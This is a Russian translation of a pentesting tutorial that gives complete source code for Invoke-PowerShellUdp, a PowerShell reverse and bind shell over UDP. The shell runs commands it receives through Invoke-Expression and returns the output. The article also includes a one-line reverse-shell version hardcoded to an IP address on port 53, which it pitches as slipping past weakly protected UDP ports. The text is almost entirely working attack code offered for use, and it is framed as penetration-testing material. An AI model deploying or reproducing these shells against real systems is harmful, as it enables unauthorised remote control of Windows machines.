Мастер-класс по работе с PowerShell. Часть 2 – Шелл на базе протокола UDP

Мастер-класс по работе с PowerShell. Часть 2 – Шелл на базе протокола UDP

Во второй части мы поговорим о работе с протоколом UDP. Лично я испытываю особую любовь к UDP, поскольку многие специалисты не придают особого значения этому протоколу. Во многих системах меры безопасности, предпринимаемые для защиты UDP-портов (например, 53, 161 и даже 389), оставляют желать лучшего.

Автор: Nikhil SamratAshok Mittal

Предыдущие статьи данного цикла:

Во второй части мы поговорим о работе с протоколом UDP. Лично я испытываю особую любовь к UDP, поскольку многие специалисты не придают особого значения этому протоколу. Во многих системах меры безопасности, предпринимаемые для защиты UDP-портов (например, 53, 161 и даже 389), оставляют желать лучшего.

Написанный мной скрипт Invoke-PowerShellUdp в плане синтаксиса схож со скриптом Invoke-PowerShellTcp. Ниже показан исходный код скрипта (опять без документации):

function Invoke-PowerShellUdp
{
[CmdletBinding(DefaultParameterSetName="reverse")] Param(

[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,

[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,

[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,

[Parameter(ParameterSetName="bind")]
[Switch]
$Bind

)

#Connect back if the reverse switch is used.
if ($Reverse)
{
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPAddress),$Port)
$client = New-Object System.Net.Sockets.UDPClient
}

#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::ANY,$Port)
$client = New-Object System.Net.Sockets.UDPClient($Port)
$client.Receive([ref]$endpoint)
}

[byte[]]$bytes = 0..255|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "
+ $env:username + " on " + $env:computername + "`
nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")

$client.Send($sendbytes,$sendbytes.Length,$endpoint)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$client.Send($sendbytes,$sendbytes.Length,$endpoint)

while($true)
{
$receivebytes = $client.Receive([ref]$endpoint)
$returndata = ([text.encoding]::ASCII).GetString($receivebytes)
$result = (Invoke-Expression -Command $returndata 2>&1 | Out-String )

$sendback = $result + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback + $x

#Send results back
$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2)
$client.Send($sendbytes,$sendbytes.Length,$endpoint)
}
$client.Close()
}

Этот скрипт также можно взять из папки https://github.com/samratashok/nishang/tree/master/Shells

На рисунке ниже показана работа скрипта в режиме reverse shell:

http://3.bp.blogspot.com/-CP755hdPzK8/VVHsM8M_6BI/AAAAAAAABQQ/aNgB-Qv70nU/s1600/ReverseToKali.png

Рисунок 1: Работа скрипта в режиме обратного шелла

На рисунке ниже показан обратный шелл с использованием IPv6:

http://4.bp.blogspot.com/-FRqcXzbqV5o/VVHsXFNBIDI/AAAAAAAABQY/s01gnIFFZFs/s1600/ReverseToKali_IPv6.png

Рисунок 2: Обратный шелл с использованием IPv6

На рисунке ниже продемонстрирована работа скрипта в режиме bind shell:

http://4.bp.blogspot.com/-qmoX-547pUE/VVHwUC7NNWI/AAAAAAAABQk/hB5nZTI28m0/s1600/BindFromKali.png

Рисунок 3: Работа в режиме bind shell

Пакеты, собранные для всех вышеуказанных режимов, можно скачать по следующей ссылке:

https://drive.google.com/open?id=0B-Hsu8q12kG3fmZoREtISjJyTjZiRGpGN29SVVJDWF9TVlBmVExFRnVlWHRsUkVXOTdmLUU&authuser=0

Скрипт Invoke-PowerShellUdp тоже имеет однострочную версию. В укороченной версии можно работать только в режиме обратного шелла. Кроме того, необходимо прописать IP-адрес и номер порта. Ниже показан исходный код скрипта Invoke-PowerShellUdpOneLine:

$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]:
:Parse("192.168.254.226"),53);$client = New-Object System.Net.Sockets.UDPClient(53);
[byte[]]$bytes = 0..255|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('PS> ');$client.Send($sendbytes,$sendbytes.Length,$endpoint);while($true){;$receivebytes =
$client.Receive([ref]$endpoint);$returndata = ([text.encoding]::ASCII).GetString($receivebytes);
$sendback = (iex $returndata 2>&1 | Out-String );$sendbytes =
([text.encoding]::ASCII).GetBytes($sendback);$client.Send($sendbytes,$sendbytes.Length,$endpoint)};
$client.Close()

Скрипт powercat также подходит для работы с интерактивной оболочкой через протокол UPD:

http://3.bp.blogspot.com/-HZygFfSahZo/VVIA-ThfTbI/AAAAAAAABQ4/WAhr5vemAO8/s1600/powercat_udp.png

Рисунок 4: Пример использования скрипта powercat через протокол UDP

310K
долларов
до 18 лет
Антипов жжет
Ребёнок как убыточный
актив. Считаем честно.
Почему рожают меньше те, кто умеет считать на десять лет вперёд.

FREE
100%
Кибербезопасность · Обучение
УЧИСЬ!
ИЛИ
ВЗЛОМАЮТ
Лучшие ИБ-мероприятия
и вебинары — в одном месте
ПОДПИШИСЬ
T.ME/SECWEBINARS